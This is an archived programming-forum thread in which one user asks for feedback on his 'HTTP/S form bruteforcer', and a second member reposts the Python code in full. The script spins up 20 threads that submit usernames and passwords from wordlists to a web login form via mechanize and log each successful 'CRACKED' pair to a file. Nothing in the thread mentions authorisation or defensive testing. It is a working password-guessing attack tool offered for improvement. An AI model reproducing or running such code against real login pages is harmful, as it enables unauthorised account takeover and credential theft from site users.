473,386 Members | 1,958 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,386 software developers and data experts.

My HTTP/S form bruteforcer

this is the development code. i've got some stable code if anyone wants to see that too.


[edit] I tried to just paste the code in using [/code] [/code] (minus the slash on the first one) but everything just came up invisible

so here's a link to it:
http://pastebin.ca/552076

any suggestions would be very helpful.
Jun 9 '07 #1
1 1500
bartonc
6,596 Expert 4TB
this is the development code. i've got some stable code if anyone wants to see that too.


[edit] I tried to just paste the code in using [/code] [/code] (minus the slash on the first one) but everything just came up invisible

so here's a link to it:
http://pastebin.ca/552076

any suggestions would be very helpful.
There does seem to be a glitch in the system just now. I know that the Admin team is working to fix the invisible post with quotes and code tags. Here, I've include =python inside the closing brace of the first tag. Seems to work.
Expand|Select|Wrap|Line Numbers
  1. def Giver():
  2.     """Distributes usernames and passwords to try"""
  3.     global usernamelist
  4.     global cracked
  5.     global passwordlist
  6.     global pwfile
  7.  
  8.     try:
  9.         if usernamelist[0] not in cracked:
  10.             sn = usernamelist[0]
  11.             pw = passwordlist.pop(0)
  12.  
  13.         elif len(passwordlist) == 0:
  14.                 if len(usernamelist) != 0:
  15.                     sn = sernamelist[0]
  16.                     passwordlist = file(pwfile, "r")
  17.                     passwordlist = map(string.strip, passwordlist)
  18.                     pw = passwordlist.pop(0)
  19.                 elif len(usernamelist) == 0:
  20.                     sys.exit()
  21.         else:
  22.             del usernamelist[0]
  23.             sn = usernamelist[0]
  24.             pw = passwordlist.pop(0)
  25.         return sn, pw
  26.     except:
  27.         sys.exit(0)
  28.  
  29. def Begin():
  30.         for i in range(20):
  31.              MyThread().start()
  32.  
  33.  
  34.  
  35. def Worker():
  36.     global target
  37.     global formposition
  38.     global formname
  39.     global form_name_value
  40.     global form_password_value
  41.     global response_value
  42.     global log_file
  43.  
  44.     while True:
  45.         sn, pw = Giver()
  46.         status = sn + ":" + pw
  47.         print status
  48.         br = mechanize.Browser()
  49.         try:
  50.             br.open(target)
  51.             if formposition != 255:
  52.                 br.select_form(nr=formposition)
  53.             br.select_form(name=formname)
  54.             br[form_name_value] = sn
  55.             br[form_password_value] = pw
  56.             response = br.submit()
  57.         except:
  58.             time.sleep(5)
  59.             br.open(target)
  60.             if formposition != 255:
  61.                 br.select_form(nr=formposition)
  62.             br.select_form(name=formname)
  63.             br[form_name_value] = sn
  64.             br[form_password_value] = pw
  65.             response = br.submit()
  66.         if response_value not in response.read():
  67.             log = file(log_file, 'a')
  68.             crk = sn + ":" + pw
  69.             print "CRACKED!!!\n" * 10
  70.             log.write(crk)
  71.             log.write("\n")
  72.             log.close()
  73.             cracked.append(sn)
  74.  
  75. class MyThread ( threading.Thread ):
  76.     def run (self):
  77.         Worker()
  78.  
Jun 9 '07 #2

Sign in to post your reply or Sign up for a free account.

Similar topics

8
by: bmgx | last post by:
I would like to use an already existing online service (currency converter) basically consisting of a html form with a few options that is submitted and returns the results. I really don't know...
5
by: Nelson Minar | last post by:
I'm writing some code to upload photos to Flickr. The Photo Upload API requires documents be POSTed via a multipart/form-data request. I was surprised to learn that Python 2.3's HTTP clients don't...
2
by: Andre Grumbach | last post by:
Hi NG, I have a little Problem. I make a normal HTML page which does following: When I click the Button Submit, I send some fields to the Server back. Here the Stream that my Browser...
6
by: Phillip N Rounds | last post by:
I have a webform, from which I have to submit info to another site. Their instructions are to have a html form, with the following as the submit: <form method="post"...
3
by: Matt | last post by:
Hi, I am trying to to create a HTTP Request that posts XML that mimics the html form below. <form name="Form1" method="post" action="http://test/xml.aspx" id="Form1"> <textarea...
6
by: Boldgeek | last post by:
I am trying to develop an app that will allow automatic updating of a web form which uses multipart/form-data enctype (as it MIGHT be sending an image) I have an example form, which when...
2
by: MDANH2002 | last post by:
Hi From VB.NET I want to simulate the POST request of the following HTML form <html> <title>HTTP Post Testing</title> <body> <form action=http://www.example.com/postdata ...
0
by: shlim | last post by:
Currently I'm using VB.Net to perform a http/https multipart form post to a servlet. I'm able to perform the post using HttpWebrequest via GetRequestStream(). However, the servlet returned me with...
1
by: iBlaine | last post by:
I'm hoping someone here can answer my problem - I'm getting a 500 error when I run this code. What it should do is setup cookies, log in, then post a file to a form. The problem is it throws an...
0
by: taylorcarr | last post by:
A Canon printer is a smart device known for being advanced, efficient, and reliable. It is designed for home, office, and hybrid workspace use and can also be used for a variety of purposes. However,...
0
by: Charles Arthur | last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
0
by: ryjfgjl | last post by:
If we have dozens or hundreds of excel to import into the database, if we use the excel import function provided by database editors such as navicat, it will be extremely tedious and time-consuming...
0
BarryA
by: BarryA | last post by:
What are the essential steps and strategies outlined in the Data Structures and Algorithms (DSA) roadmap for aspiring data scientists? How can individuals effectively utilize this roadmap to progress...
1
by: nemocccc | last post by:
hello, everyone, I want to develop a software for my android phone for daily needs, any suggestions?
0
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However,...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
0
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers,...
0
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.